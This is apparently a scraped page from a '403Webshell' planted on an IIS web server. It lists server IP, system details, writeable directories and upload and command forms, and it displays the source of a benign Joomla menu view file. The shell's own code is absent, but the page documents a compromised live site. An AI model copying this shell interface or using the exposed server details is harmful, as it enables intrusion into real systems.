403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/menu/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/menu/views/admin/view.html.php
<?php
/**
 * Check Access
 */
defined('_JEXEC') or die( 'Restricted access' );

/**
 * HTML View class for the Menus Adapter
 *
 * @static
 * @package		Joomla
 * @subpackage	Adapters
 * @since 1.0
 */

require_once JPATH_COMPONENT_ADMINISTRATOR.DS."controllers".DS."adapters.php";

class MenuViewAdmin extends JView
{
	function display($tpl = null)
	{
		$db = JFactory::getDBO();

        /**
         * Get Viewname
         */
        $viewName = ucfirst($this->getName());
        /**
         * Adapter Name
         */
        $adapterName = "menu";
		
                /**
                 * Sections List
                 */
		$menuTypes = $this->getMenuTypeList();
		
		$adapterControl = new Adapters();
		$xml = $adapterControl->parseXMLInstallFile(NOIXACL_APADTER_PATH.DS."menu".DS."menu.xml");
		
		$this->assignRef("menuTypesList", $menuTypes);
		$this->assignRef("tasks", $xml["tasks"]["admin"]);
                $this->assignRef("adapterControl", $adapterControl);
		$this->assignRef("viewName", $viewName);
		$this->assignRef("adapterName", $adapterName);

		parent::display($tpl);
	}
	
	/**
	 * Get all menutypes and items
	 */
	function getMenuTypeList()
	{
		$db			=& JFactory::getDBO();
		
                /**
                 * Get Menutype
                 */
		$queryMenuType = "SELECT m.id, m.title, m.menutype "
                  . "FROM #__menu_types AS m ORDER BY m.title";
		$db->setQuery( $queryMenuType );
		$menuTypeList = $db->loadObjectList();

        return $menuTypeList;
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit